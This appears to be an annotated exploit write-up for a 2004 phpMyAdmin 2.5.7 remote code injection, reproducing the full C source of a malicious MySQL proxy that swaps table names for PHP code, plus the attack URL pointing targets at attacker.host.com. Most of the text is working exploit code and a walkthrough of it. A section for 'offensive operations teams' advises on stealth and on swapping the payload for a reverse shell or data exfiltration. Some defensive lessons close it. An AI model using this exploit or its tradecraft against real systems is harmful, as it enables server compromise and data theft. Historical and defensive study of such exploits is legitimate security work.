Exploiting phpMyAdmin 2.5.7: A Proxy for Remote Code Injection

Exploiting phpMyAdmin 2.5.7: A Proxy for Remote Code Injection
What this paper is
This paper details a vulnerability in phpMyAdmin version 2.5.7 that allows for remote code injection. The exploit works by setting up a proxy server that intercepts communication between a phpMyAdmin client and a MySQL server. When phpMyAdmin requests a list of tables from a database, the proxy injects malicious PHP code into the response, which is then executed by the web server running phpMyAdmin.
Simple technical breakdown
The core idea is to act as a "man-in-the-middle" between phpMyAdmin and the actual MySQL database.
- Proxy Setup: The attacker runs a special C program (
phpmy-explt.c) on their own machine. This program listens on a specific port (default 8889). - phpMyAdmin Configuration: The attacker tricks phpMyAdmin into connecting to this proxy server instead of the real MySQL server. This is done by manipulating the URL parameters when accessing phpMyAdmin. The
cfg[Servers][X][host]andcfg[Servers][X][port]parameters are key here. - Intercepting "SHOW TABLES": When phpMyAdmin, through its interface, tries to display the tables in a database (e.g., by navigating to a database and looking for its tables), it sends a
SHOW TABLESquery to the MySQL server. - Injecting Malicious Code: The proxy server receives this
SHOW TABLESquery. It then forwards it to the actual MySQL server. When the MySQL server sends back the list of tables, the proxy intercepts this response. Instead of sending the original table list back to phpMyAdmin, the proxy crafts a fake response. This fake response contains the attacker's chosen PHP code, disguised as a table name. - Code Execution: phpMyAdmin receives this manipulated response. Because it's expecting a list of table names and the injected code is formatted in a way that phpMyAdmin's PHP interpreter can process it (specifically, as a string that can be passed to
exec()), the web server executes the injected PHP code.
Complete code and payload walkthrough
The provided C code (phpmy-explt.c) acts as the proxy. Let's break it down.
phpmy-explt.c - The Proxy Program
/*
* phpmy-explt.c
* written by Nasir Simbolon <nasir kecapi com>
* eagle kecapi com
* Jakarta, Indonesia
*
* June, 10 2004
*
* A phpMyAdmin-2.5.7 exploite program.
* This is a kind of mysql server wrapper acts like a proxy except that it will sends a fake table name,
* when client query "SHOW TABLES", by replacing the real table name with a string contains exploite codes.
*
* Compile : gcc phpmy-explt.c -o phpmy-explt
*
* run with
* ./phpmy-explt
*
* and go to your target and put
*
* http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers][4][host]=
* attacker.host.com&cfg[Servers][4][port]=8889&cfg[Servers][4][auth_type]=config&cfg[Servers]
* [4][user]=user&cfg[Servers][4][password]=pass&cfg[Servers][4][connect_type]=tcp&&cfg[Servers]
* [4][only_db]=databasename
*
* fill host,port,user,pass and databasename correctly
*
*/- Purpose: This is the header comment explaining the program's origin, purpose, and how to compile and run it. It clearly states it's an exploit for phpMyAdmin 2.5.7 and describes its function as a MySQL server wrapper that injects exploit codes.
#include<stdio.h>
#include<sys/socket.h>
#include<netdb.h>- Purpose: Includes standard C libraries for input/output (
stdio.h), socket programming (sys/socket.h), and network database functions (netdb.h). These are essential for creating network listeners, connecting to remote hosts, and handling network data.
#define BIND_PORT 8889
#define MYSQL_PORT 3306
#define HOSTNAME "localhost"
#define DATABASE "phpmy"
#define BUFFER_LEN 1024- Purpose: Defines constants used throughout the program.
BIND_PORT: The port on which the attacker's proxy will listen for incoming connections from phpMyAdmin.MYSQL_PORT: The standard port for MySQL servers.HOSTNAME: The hostname of the actual MySQL server to connect to. It's set to "localhost" by default, implying the attacker might be running the proxy on the same machine as the MySQL server, or it's a placeholder that needs to be changed.DATABASE: The name of the database that phpMyAdmin will query. This is used to construct the exploit payload.BUFFER_LEN: The size of the buffer used for reading and writing network data.
/* This is php code we want to inject into phpMyAdmin
Do NOT use single quote (') in the string, use double quote (") instead
*/
char *phpcodes = "exec(\"touch /tmp/your-phpmyadmin-is-vulnerable\");";- Purpose: This
charpointer holds the actual PHP code that will be injected.- Payload:
exec("touch /tmp/your-phpmyadmin-is-vulnerable"); - Explanation: This is a simple command that creates an empty file named
your-phpmyadmin-is-vulnerablein the/tmp/directory on the target server. This serves as a proof-of-concept that arbitrary commands can be executed. The comment explicitly warns against using single quotes within this string because they would interfere with the C string literal. Double quotes are used instead.
- Payload:
/* This is examples codes I captured when mysql server
reply to client's request of query "SHOW TABLES" query.
It shows database name 'phpmy' and contain one tablename 'mytable'
Our aim is to manipulate the data received from mysql server
by replacing 'mytable' with our exploide codes.
0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
'_' ,'p' ,'h' ,'p' ,'m' ,'y' ,0x3 ,0x40,0x0 ,0x0 ,
0x1 ,-2 ,0x3 ,0x1 ,0x0 ,0x1f,0x1 ,0x0 ,0x0 ,0x3 ,
-2 ,8 ,0x0 ,0x0 ,0x4 ,7 ,'m' ,'y' ,'t' ,'a' ,
'b' ,'l' ,'e' ,0x1 ,0 ,0 ,0x5 ,-2
*/- Purpose: This block is a comment containing a hexadecimal representation of a typical MySQL
SHOW TABLESresponse for a database namedphpmywith a table namedmytable. This is crucial because the exploit relies on understanding and reconstructing this response structure to inject its payload. The attacker has reverse-engineered this protocol response.
int build_exploite_code(char* dbname,char* phpcodes,char** expcode)
{
char my1[21] = {0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
'_'};
/* part of dbname ('p' ,'h' ,'p' ,'m' ,'y') */
char my2[15] = {0x3 ,0x40,0x0 ,0x0 ,0x1 ,-2 ,0x3 ,0x1 ,0x0 ,0x1f,
0x1 ,0x0 ,0x0 ,0x3 ,-2};
/* part of int phpcodes string length +1 (8) */
char my3[3] = {0x0 ,0x0 ,0x4};
/* part of int phpcodes string length (7) */
/* part of tablename ('m' ,'y' ,'t' ,'a' ,'b' ,'l' ,'e' ) */
char my4[5] = {0x1 ,0 ,0 ,0x5 ,-2};
int len,i;
len = 21 + strlen(dbname) + 15 + 1 + 3 + 1 + strlen(phpcodes) + 5 + 5;
*expcode = (char*) malloc(sizeof(char) * len);
i = 0;
bcopy(&my1[0],*expcode + i,21);
i += 21;
bcopy(dbname, *expcode + i,strlen(dbname));
i += strlen(dbname);
bcopy(&my2[0],*expcode + i,15);
i += 15;
(*expcode)[i] = 5 + strlen(phpcodes) + 1; // This seems to be the length of the "fake table name" part
i ++;
bcopy(&my3[0],*expcode + i,3);
i += 3;
(*expcode)[i++] = 5 + strlen(phpcodes) ; // This seems to be the length of the actual PHP code string
/* this is our exploite codes*/
(*expcode)[i++] = '\\'; // Escaping character
(*expcode)[i++] = '\''; // Single quote
(*expcode)[i++] = ';'; // Statement terminator
bcopy(phpcodes,*expcode + i,strlen(phpcodes));
i += strlen(phpcodes);
(*expcode)[i++] = '/'; // Start of comment
(*expcode)[i++] = '*'; // Start of comment
bcopy(&my4[0],*expcode + i,5);
return len;
}- Purpose: This function dynamically constructs the malicious MySQL response packet. It takes the database name and the PHP code to inject as input and outputs a character array (
expcode) containing the crafted packet. my1,my2,my3,my4: Thesechararrays contain pre-defined byte sequences that mimic parts of the legitimate MySQLSHOW TABLESresponse. They are carefully constructed based on the captured example.my1: Contains the initial part of the response, including the "Tables_in_" prefix.my2: Contains bytes that follow the database name.my3: Contains bytes that seem to relate to length encoding.my4: Contains bytes that appear after the injected code and before the end of the "table name" field.
len = 21 + strlen(dbname) + 15 + 1 + 3 + 1 + strlen(phpcodes) + 5 + 5;: Calculates the total length of the crafted response. It sums the lengths of the fixed byte sequences (my1,my2,my3,my4), the database name, the PHP code, and some overhead bytes.*expcode = (char*) malloc(sizeof(char) * len);: Allocates memory for the exploit code.bcopy(...): This function (similar tomemcpy) copies byte sequences from themyarrays and the inputdbnameandphpcodesinto the allocatedexpcodebuffer.(*expcode)[i] = 5 + strlen(phpcodes) + 1;: This line is critical. It sets a length field in the MySQL packet. The value5 + strlen(phpcodes) + 1likely represents the length of the entire fake table name that will be sent back to phpMyAdmin, which includes the injected PHP code, some escape characters, and potentially other padding.(*expcode)[i++] = 5 + strlen(phpcodes) ;: This sets another length field, likely representing the length of the actual PHP code string itself.(*expcode)[i++] = '\\'; (*expcode)[i++] = '\''; (*expcode)[i++] = ';';: These bytes are appended to the PHP code. The\and'are used to escape characters within the context of how PHP might interpret the string, and the;terminates the PHP statement.bcopy(phpcodes,*expcode + i,strlen(phpcodes));: The actual PHP code string is copied into the buffer.(*expcode)[i++] = '/'; (*expcode)[i++] = '*';: These characters are appended, likely to start a C-style comment in the MySQL response, which might be used to terminate the "table name" field gracefully or as part of the protocol parsing.bcopy(&my4[0],*expcode + i,5);: The final fixed byte sequence is copied.- Return Value: The function returns the total length of the crafted exploit code.
/* connect to mysql server*/
int connect_mysql()
{
int s2;
struct sockaddr_in ina;
struct hostent *h;
h = gethostbyname(HOSTNAME);
/* set internet address */
bcopy(h->h_addr,(void *)&ina.sin_addr,h->h_length);
ina.sin_family = AF_INET;
ina.sin_port = htons(MYSQL_PORT);
//ina.sin_zero[0]='\0'; // Commented out, likely not needed
if((s2=socket(AF_INET,SOCK_STREAM,0)) < 0)
perror("Socket: ");
if(connect(s2,(struct sockaddr *)&ina,sizeof(ina)) < 0 )
perror("connect()");
return s2;
}- Purpose: This function establishes a TCP connection to the actual MySQL server.
gethostbyname(HOSTNAME): Resolves the hostname of the MySQL server.socket(AF_INET, SOCK_STREAM, 0): Creates a TCP socket.bcopy(...): Copies the IP address from the host entry into the socket address structure.ina.sin_family = AF_INET;: Sets the address family to IPv4.ina.sin_port = htons(MYSQL_PORT);: Sets the destination port to the MySQL port (3306), converting it to network byte order.connect(s2, (struct sockaddr *)&ina, sizeof(ina)): Attempts to connect to the MySQL server.- Return Value: Returns the socket descriptor for the connected MySQL server.
/* listener */
int listener()
{
int s1;
int opt;
struct sockaddr_in ina;
/* set internet address */
ina.sin_family = AF_INET;
ina.sin_port = htons(BIND_PORT);
ina.sin_addr.s_addr = INADDR_ANY;
if((s1=socket(AF_INET,SOCK_STREAM,0)) < 0)
perror("Socket: ");
opt = 1;
setsockopt(s1,SOL_SOCKET, SO_REUSEADDR , (char *)&opt, sizeof(opt) );
if(bind(s1,(struct sockaddr *)&ina,sizeof(ina))==-1)
perror("Bind: ");
if(listen(s1, 10) == -1)
perror("Listen");
return s1;
}- Purpose: This function sets up the attacker's proxy to listen for incoming connections.
ina.sin_family = AF_INET;: Sets the address family to IPv4.ina.sin_port = htons(BIND_PORT);: Sets the listening port toBIND_PORT(8889), converted to network byte order.ina.sin_addr.s_addr = INADDR_ANY;: Binds the socket to all available network interfaces on the attacker's machine.socket(AF_INET, SOCK_STREAM, 0): Creates a TCP socket.setsockopt(s1, SOL_SOCKET, SO_REUSEADDR, ...): Allows the socket to be reused immediately after closing, which is useful during development and testing.bind(s1, (struct sockaddr *)&ina, sizeof(ina)): Binds the socket to the specified IP address and port.listen(s1, 10): Puts the socket into listening mode, allowing it to accept incoming connections. The backlog is set to 10.- Return Value: Returns the socket descriptor for the listening socket.
int main(int argc,char* argv[])
{
struct sockaddr_in ina1;
int ina1_l;
int s_daemon,s_mysql;
size_t byte_read,byte_written;
char *buf;
int sc,event,n_select;
fd_set rfds;
struct timeval tv;
int exptlen,i;
char *expt;
char *dbname=DATABASE;
buf = (char*) malloc(sizeof(char) * (BUFFER_LEN));
tv.tv_sec = 15;
tv.tv_usec = 0;
/* we listen to port */
s_daemon = listener(); // Setup the listener socket
exptlen = build_exploite_code(dbname,phpcodes,&expt); // Prepare the exploit payload
for(;;) // Main loop for accepting connections
{
fprintf(stderr,"waiting for connection\n");
if( -1 == (sc = accept(s_daemon,(struct sockaddr *) &ina1,&ina1_l)) )
perror("accept()");
/* if we get here, we have a new connection */
fprintf(stderr,"got client connection\n");
mysql: // Label for re-connecting to MySQL if the current connection breaks
/* connect to mysql */
s_mysql = connect_mysql(); // Connect to the actual MySQL server
for(;;) // Inner loop for handling data between client and MySQL
{
FD_ZERO(&rfds); // Clear the file descriptor set
FD_SET(sc,&rfds); // Add the client socket to the set
FD_SET(s_mysql,&rfds); // Add the MySQL socket to the set
n_select = (sc > s_mysql)? sc : s_mysql; // Determine the highest file descriptor for select()
event = select(n_select+1,&rfds,NULL,NULL,NULL); // Wait for activity on either socket
if(-1 == event)
perror("select()");
else
{
if(FD_ISSET(s_mysql,&rfds)) // Data received from MySQL server
{
byte_read = read(s_mysql,buf,BUFFER_LEN); // Read data from MySQL
/* check for closing client connection*/
if(byte_read == 0)
{
shutdown(s_mysql,SHUT_RDWR); // Close MySQL connection
close(s_mysql);
goto mysql; // Reconnect to MySQL
}
/* check data received from mysql server.
* if buf[11] contain 'T', data received from mysq server is table list
*
* NOW we replace the table with our exploite codes and send them to client
*/
if( 'T' == buf[11]) // Check if the data is a "SHOW TABLES" response
{
for(i=0;i<exptlen;i++)
buf[i] = expt[i]; // Overwrite the buffer with the exploit code
byte_read = exptlen; // Update the number of bytes to write
}
if(write(sc, buf, byte_read) < 0) // Write the (potentially modified) data to the client (phpMyAdmin)
break; // Exit inner loop if write fails
}
if(FD_ISSET(sc,&rfds)) // Data received from phpMyAdmin client
{
byte_read = read(sc,buf,BUFFER_LEN); // Read data from phpMyAdmin
/* check for closing client connection*/
if(byte_read == 0)
{
close(sc); // Close client connection
break; // Exit inner loop
}
if(write(s_mysql,buf,byte_read) < 0) // Write the data to the actual MySQL server
break; // Exit inner loop if write fails
}
#if defined(DEBUG)
fprintf(stderr,"data:\n");
for(i=0;i<byte_read;i++)
fprintf(stderr," %c(%x) ",buf[i],buf[i]);
#endif
}
}
}
free(buf); // Free allocated buffer
free(expt); // Free allocated exploit code
return 0;
}
// milw0rm.com [2004-07-04]- Purpose: This is the main function that orchestrates the proxy's operation.
- Initialization:
- Allocates a buffer (
buf) for data transfer. - Sets a timeout for
select(thoughselectis called withNULLtimeout in the loop, so thistvis unused here). - Calls
listener()to set up the listening socket (s_daemon). - Calls
build_exploite_code()to generate the exploit payload and stores its length inexptlenand the payload itself inexpt.
- Allocates a buffer (
- Outer Loop (
for(;;)): This loop continuously waits for and accepts new client connections from phpMyAdmin.accept(s_daemon, ...): Blocks until a client connects tos_daemon.scbecomes the socket descriptor for the connection with the phpMyAdmin client.goto mysql;: This label is used to jump back to theconnect_mysql()call if the connection to the MySQL server is lost and needs to be re-established.s_mysql = connect_mysql();: Establishes a connection to the actual MySQL server.
- Inner Loop (
for(;;)): This loop handles the bidirectional data flow between the connected phpMyAdmin client (sc) and the actual MySQL server (s_mysql).FD_ZERO(&rfds); FD_SET(sc, &rfds); FD_SET(s_mysql, &rfds);: Initializes a file descriptor set (rfds) and adds both the client socket (sc) and the MySQL socket (s_mysql) to it. This tellsselectto monitor both sockets for read events.n_select = (sc > s_mysql) ? sc : s_mysql;: Determines the highest file descriptor number, which is required byselect.select(n_select + 1, &rfds, NULL, NULL, NULL): This is the core of the proxy's event handling. It waits indefinitely (because the timeout isNULL) until eitherscors_mysqlhas data to be read.if (FD_ISSET(s_mysql, &rfds)): Checks if data is available from the MySQL server.read(s_mysql, buf, BUFFER_LEN): Reads data from MySQL intobuf.if (byte_read == 0): Ifbyte_readis 0, it means the MySQL server has closed the connection. The code then closes the current MySQL socket and jumps back to themysql:label to reconnect.if ('T' == buf[11]): This is the exploit trigger. It checks the 11th byte (index 10) of the received data. If it's 'T', it assumes this is the start of aSHOW TABLESresponse.for (i = 0; i < exptlen; i++) buf[i] = expt[i]; byte_read = exptlen;: If it's aSHOW TABLESresponse, the original data inbufis completely overwritten with the crafted exploit payload (expt), andbyte_readis updated to reflect the length of the exploit payload.write(sc, buf, byte_read): The (potentially modified) data is sent back to the phpMyAdmin client.
if (FD_ISSET(sc, &rfds)): Checks if data is available from the phpMyAdmin client.read(sc, buf, BUFFER_LEN): Reads data from the phpMyAdmin client intobuf.if (byte_read == 0): Ifbyte_readis 0, the client has closed the connection. The client socket is closed, and the inner loop breaks.write(s_mysql, buf, byte_read): The data received from the client is forwarded to the actual MySQL server.
#if defined(DEBUG): A conditional compilation block for debugging output, printing received data in hex.
- Cleanup: After the loops terminate (e.g., due to connection errors or explicit breaks), the allocated memory for
bufandexptis freed.
Payload Construction (build_exploite_code):
The build_exploite_code function is crucial for understanding how the exploit payload is formed. It's essentially reconstructing a MySQL protocol packet for the SHOW TABLES command response.
Let's look at the structure of the crafted packet:
[my1 bytes] [dbname bytes] [my2 bytes] [length of fake table name] [my3 bytes] [length of php code] [php code bytes] [/ *] [my4 bytes]my1(21 bytes):0x1, 0x0, 0x0, 0x1, 0x1, 0x1b, 0x0, 0x0, 0x2, 0x0, 0xf, 'T', 'a', 'b', 'l', 'e', 's', '_', 'i', 'n', '_'- This appears to be part of the MySQL protocol's result set header. The
0x1, 0x0, 0x0might indicate packet type or sequence.0x1bis a length indicator.0x0, 0x0, 0x2, 0x0could be field count or type.'T', 'a', 'b', 'l', 'e', 's', '_', 'i', 'n', '_'is the literal string "Tables_in_".
- This appears to be part of the MySQL protocol's result set header. The
dbname(variable length): The database name (e.g., "phpmy").my2(15 bytes):0x3, 0x40, 0x0, 0x0, 0x1, -2, 0x3, 0x1, 0x0, 0x1f, 0x1, 0x0, 0x0, 0x3, -2- These are more protocol-specific bytes that follow the database name. The
-2values are likely protocol-defined markers or lengths.
- These are more protocol-specific bytes that follow the database name. The
- Length of fake table name (1 byte):
5 + strlen(phpcodes) + 1. This is the total length of the string that will be interpreted as a table name by phpMyAdmin. It includes the PHP code, the escape characters, and some fixed overhead. my3(3 bytes):0x0, 0x0, 0x4. More protocol bytes.- Length of PHP code (1 byte):
5 + strlen(phpcodes). This is the length of the actual PHP code string. - PHP code bytes: The actual
phpcodesstring, but with\and'prepended, and;appended. Forexec("touch /tmp/your-phpmyadmin-is-vulnerable");, this would become\';exec("touch /tmp/your-phpmyadmin-is-vulnerable");;. The\';part is crucial for escaping the context within the PHP string that phpMyAdmin expects. /*(2 bytes):0x2f, 0x2a. These are the ASCII characters for/and*, starting a C-style comment. This is likely to terminate the "table name" field gracefully if the protocol expects a specific terminator or if it's part of the string parsing.my4(5 bytes):0x1, 0, 0, 0x5, -2. The final bytes of the crafted response.
Exploit Execution Flow:
- Attacker runs
phpmy-explt: The proxy starts listening onBIND_PORT(8889). - Attacker crafts URL: The attacker crafts a URL to access phpMyAdmin, pointing its MySQL connection to
attacker.host.com:8889.- Example:
http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers][4][host]=attacker.host.com&cfg[Servers][4][port]=8889&cfg[Servers][4][auth_type]=config&cfg[Servers][4][user]=user&cfg[Servers][4][password]=pass&cfg[Servers][4][only_db]=databasename
- Example:
- phpMyAdmin connects to proxy: The
left.phpscript (or similar) in phpMyAdmin attempts to connect toattacker.host.com:8889for database operations. - Proxy connects to real MySQL: The
phpmy-expltprogram accepts the connection from phpMyAdmin and then connects to the actual MySQL server (defaulting tolocalhost:3306). - phpMyAdmin requests tables: When the user navigates phpMyAdmin to view tables in
databasename, phpMyAdmin sends aSHOW TABLES FROM databasenamequery to the connected server (which is the proxy). - Proxy forwards and intercepts: The proxy receives the
SHOW TABLESquery, forwards it to the real MySQL server. - Proxy crafts fake response: When the real MySQL server responds with the table list, the proxy intercepts it. It then uses
build_exploite_codeto create a fake response packet containing the malicious PHP code. - Proxy sends fake response to phpMyAdmin: The proxy sends this crafted packet to phpMyAdmin.
- phpMyAdmin executes code: phpMyAdmin receives the fake response. The PHP interpreter within the web server processes the injected code, executing
touch /tmp/your-phpmyadmin-is-vulnerable.
Practical details for offensive operations teams
- Required Access Level:
- Attacker Machine: Needs to be able to run the C exploit program and listen on a network port.
- Target Machine: Needs to have a vulnerable version of phpMyAdmin (2.5.7) accessible via HTTP/HTTPS. The attacker needs to be able to craft a URL that forces phpMyAdmin to connect to the attacker's proxy. This often implies the attacker has some level of network access to the target's web server or can influence requests made to it.
- Lab Preconditions:
- A vulnerable phpMyAdmin 2.5.7 installation.
- A MySQL server accessible by the phpMyAdmin installation.
- An attacker-controlled machine capable of running the C exploit and acting as a proxy.
- Network connectivity between the attacker's proxy and the target's MySQL server, and between the target's web server and the attacker's proxy.
- Tooling Assumptions:
- Attacker Machine: A Linux/Unix-like environment with a C compiler (like GCC) to compile
phpmy-explt.c. Standard networking tools. - Target Machine: A web server running PHP and a vulnerable phpMyAdmin instance.
- Attacker Machine: A Linux/Unix-like environment with a C compiler (like GCC) to compile
- Execution Pitfalls:
- Version Specificity: This exploit is highly specific to phpMyAdmin 2.5.7. Newer versions will likely not be vulnerable.
- Network Configuration: The
HOSTNAMEandMYSQL_PORTin the C code must be correctly set to point to the actual MySQL server. TheBIND_PORTmust be accessible from the target's web server. - URL Manipulation: The attacker must be able to influence the URL used to access phpMyAdmin to redirect its MySQL connection. This is the most critical step for successful exploitation. If the target's phpMyAdmin is configured to use a specific, hardcoded connection and doesn't allow dynamic configuration via URL parameters, this exploit won't work.
- Firewalls: Network firewalls between the attacker's proxy and the target's MySQL server, or between the target's web server and the attacker's proxy, could block the connections.
- MySQL Authentication: The exploit bypasses direct MySQL authentication by having phpMyAdmin connect to the proxy. However, the proxy still needs to connect to the real MySQL server. If the real MySQL server requires strong authentication for the connection originating from the proxy's IP, that could be a failure point. The example URL uses
auth_type=config,user, andpassword, which are parameters phpMyAdmin uses to connect to MySQL. The proxy needs to be able to connect to the MySQL server using these credentials. - Payload Encoding: The injected PHP code is simple. More complex payloads might require careful encoding to avoid breaking the MySQL protocol or being misinterpreted by the web server. The use of
exec()is generally discouraged in modern PHP for security reasons, but was more common in older versions. - Telemetry: The
touchcommand creates a file, which is a clear indicator. More sophisticated payloads would aim for stealthier execution.
- Tradecraft Considerations:
- Stealth: Running a proxy on a known port (like 8889) might be noisy. Using a less common port or a more sophisticated tunneling mechanism could improve stealth.
- Payload Customization: The
phpcodesvariable should be customized for the specific objective (e.g., reverse shell, data exfiltration). - Reconnaissance: Thoroughly identifying the target's phpMyAdmin version and its network configuration is paramount. Understanding how phpMyAdmin is configured to connect to MySQL (e.g., direct IP, hostname, socket) is crucial for crafting the exploit URL.
- Post-Exploitation: Once code execution is achieved, the attacker would typically aim to establish a more persistent foothold or exfiltrate data.
Where this was used and when
- Context: This exploit targets a specific vulnerability in phpMyAdmin 2.5.7. phpMyAdmin is a popular web-based administration tool for MySQL databases.
- Timeframe: The exploit was published in July 2004. This indicates that this vulnerability was relevant around that time. phpMyAdmin 2.5.7 was released earlier in 2004. Exploits from this era often targeted older web application frameworks and common vulnerabilities like injection flaws.
Defensive lessons for modern teams
- Patch Management: The most obvious lesson is the critical importance of keeping web applications and their components (like phpMyAdmin) updated to the latest stable versions. Vulnerabilities are discovered and patched regularly.
- Input Validation and Sanitization: While this exploit targets the MySQL protocol interaction rather than direct user input to phpMyAdmin's web interface, it highlights how unexpected data can be injected. Robust validation and sanitization of all data, including data that is passed through intermediary components or protocols, is essential.
- Network Segmentation and Access Control:
- Restrict direct access to the MySQL server from the internet. Web applications should connect to MySQL via internal network interfaces.
- Limit the ability of web applications to dynamically configure their database connection parameters through URL parameters or other user-controlled inputs.
- Use firewalls to limit which ports and hosts the web server can connect to. The web server should ideally only be able to connect to the MySQL server's port.
- Web Application Firewalls (WAFs): A WAF might detect and block the malformed MySQL responses or the specific URL patterns used to trigger the exploit, although older WAFs might not have been equipped to inspect MySQL protocol traffic.
- Secure Configuration: Ensure phpMyAdmin is configured securely. Avoid enabling features that allow dynamic connection string manipulation if not strictly necessary.
- Principle of Least Privilege: The web server process running phpMyAdmin should have minimal privileges. This limits the impact of code execution, as seen with the
touchcommand creating a file in/tmp.
ASCII visual (if applicable)
This exploit involves a network proxy, so a visual representation of the data flow is applicable.
+-----------------+ +-----------------+ +-------------------+ +-----------------+
| phpMyAdmin Client| ----> | Attacker's Proxy| ----> | Actual MySQL Server| | Attacker Machine|
| (Browser) | | (phpmy-explt.c) | | (e.g., localhost) | | (Runs Exploit) |
+-----------------+ +-----------------+ +-------------------+ +-----------------+
^ | |
| | |
| (Crafted URL to | (Listens on BIND_PORT) | (Listens on MYSQL_PORT)
| point to proxy) | |
| | |
+-------------------------+----------------------------+
|
| (Intercepts SHOW TABLES response)
| (Injects malicious PHP code)
v
(Malicious Response Sent Back)Explanation of the diagram:
- The phpMyAdmin Client (typically a web browser interacting with the phpMyAdmin web interface) is tricked into connecting to the Attacker's Proxy.
- The Attacker's Proxy (the compiled
phpmy-explt.cprogram) listens on a specific port (BIND_PORT). - When the proxy receives a connection from phpMyAdmin, it establishes its own connection to the Actual MySQL Server on its standard port (
MYSQL_PORT). - The Attacker Machine is where the
phpmy-explt.cprogram is compiled and run. - The data flow shows that the proxy acts as an intermediary. Crucially, it intercepts the response from the MySQL server when phpMyAdmin requests a table list and injects malicious code into that response before sending it back to phpMyAdmin.
Source references
- Paper ID: 309
- Paper Title: phpMyAdmin 2.5.7 - Remote code Injection
- Author: Nasir Simbolon
- Published: 2004-07-04
- Keywords: PHP, webapps
- Paper URL: https://www.exploit-db.com/papers/309
- Raw Exploit URL: https://www.exploit-db.com/raw/309
Original Exploit-DB Content (Verbatim)
/*
* phpmy-explt.c
* written by Nasir Simbolon <nasir kecapi com>
* eagle kecapi com
* Jakarta, Indonesia
*
* June, 10 2004
*
* A phpMyAdmin-2.5.7 exploite program.
* This is a kind of mysql server wrapper acts like a proxy except that it will sends a fake table name,
* when client query "SHOW TABLES", by replacing the real table name with a string contains exploite codes.
*
* Compile : gcc phpmy-explt.c -o phpmy-explt
*
* run with
* ./phpmy-explt
*
* and go to your target and put
*
* http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers][4][host]=
* attacker.host.com&cfg[Servers][4][port]=8889&cfg[Servers][4][auth_type]=config&cfg[Servers]
* [4][user]=user&cfg[Servers][4][password]=pass&cfg[Servers][4][connect_type]=tcp&&cfg[Servers]
* [4][only_db]=databasename
*
* fill host,port,user,pass and databasename correctly
*
*/
#include<stdio.h>
#include<sys/socket.h>
#include<netdb.h>
#define BIND_PORT 8889
#define MYSQL_PORT 3306
#define HOSTNAME "localhost"
#define DATABASE "phpmy"
#define BUFFER_LEN 1024
/* This is php code we want to inject into phpMyAdmin
Do NOT use single quote (') in the string, use double quote (") instead
*/
char *phpcodes = "exec(\"touch /tmp/your-phpmyadmin-is-vulnerable\");";
/* This is examples codes I captured when mysql server
reply to client's request of query "SHOW TABLES" query.
It shows database name 'phpmy' and contain one tablename 'mytable'
Our aim is to manipulate the data received from mysql server
by replacing 'mytable' with our exploide codes.
0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
'_' ,'p' ,'h' ,'p' ,'m' ,'y' ,0x3 ,0x40,0x0 ,0x0 ,
0x1 ,-2 ,0x3 ,0x1 ,0x0 ,0x1f,0x1 ,0x0 ,0x0 ,0x3 ,
-2 ,8 ,0x0 ,0x0 ,0x4 ,7 ,'m' ,'y' ,'t' ,'a' ,
'b' ,'l' ,'e' ,0x1 ,0 ,0 ,0x5 ,-2
*/
int build_exploite_code(char* dbname,char* phpcodes,char** expcode)
{
char my1[21] = {0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
'_'};
/* part of dbname ('p' ,'h' ,'p' ,'m' ,'y') */
char my2[15] = {0x3 ,0x40,0x0 ,0x0 ,0x1 ,-2 ,0x3 ,0x1 ,0x0 ,0x1f,
0x1 ,0x0 ,0x0 ,0x3 ,-2};
/* part of int phpcodes string length +1 (8) */
char my3[3] = {0x0 ,0x0 ,0x4};
/* part of int phpcodes string length (7) */
/* part of tablename ('m' ,'y' ,'t' ,'a' ,'b' ,'l' ,'e' ) */
char my4[5] = {0x1 ,0 ,0 ,0x5 ,-2};
int len,i;
len = 21 + strlen(dbname) + 15 + 1 + 3 + 1 + strlen(phpcodes) + 5 + 5;
*expcode = (char*) malloc(sizeof(char) * len);
i = 0;
bcopy(&my1[0],*expcode + i,21);
i += 21;
bcopy(dbname, *expcode + i,strlen(dbname));
i += strlen(dbname);
bcopy(&my2[0],*expcode + i,15);
i += 15;
(*expcode)[i] = 5 + strlen(phpcodes) + 1;
i ++;
bcopy(&my3[0],*expcode + i,3);
i += 3;
(*expcode)[i++] = 5 + strlen(phpcodes) ;
/* this is our exploite codes*/
(*expcode)[i++] = '\\';
(*expcode)[i++] = '\'';
(*expcode)[i++] = ';';
bcopy(phpcodes,*expcode + i,strlen(phpcodes));
i += strlen(phpcodes);
(*expcode)[i++] = '/';
(*expcode)[i++] = '*';
bcopy(&my4[0],*expcode + i,5);
return len;
}
/* connect to mysql server*/
int connect_mysql()
{
int s2;
struct sockaddr_in ina;
struct hostent *h;
h = gethostbyname(HOSTNAME);
/* set internet address */
bcopy(h->h_addr,(void *)&ina.sin_addr,h->h_length);
ina.sin_family = AF_INET;
ina.sin_port = htons(MYSQL_PORT);
//ina.sin_zero[0]='\0';
if((s2=socket(AF_INET,SOCK_STREAM,0)) < 0)
perror("Socket: ");
if(connect(s2,(struct sockaddr *)&ina,sizeof(ina)) < 0 )
perror("connect()");
return s2;
}
/* listener */
int listener()
{
int s1;
int opt;
struct sockaddr_in ina;
/* set internet address */
ina.sin_family = AF_INET;
ina.sin_port = htons(BIND_PORT);
ina.sin_addr.s_addr = INADDR_ANY;
if((s1=socket(AF_INET,SOCK_STREAM,0)) < 0)
perror("Socket: ");
opt = 1;
setsockopt(s1,SOL_SOCKET, SO_REUSEADDR , (char *)&opt, sizeof(opt) );
if(bind(s1,(struct sockaddr *)&ina,sizeof(ina))==-1)
perror("Bind: ");
if(listen(s1, 10) == -1)
perror("Listen");
return s1;
}
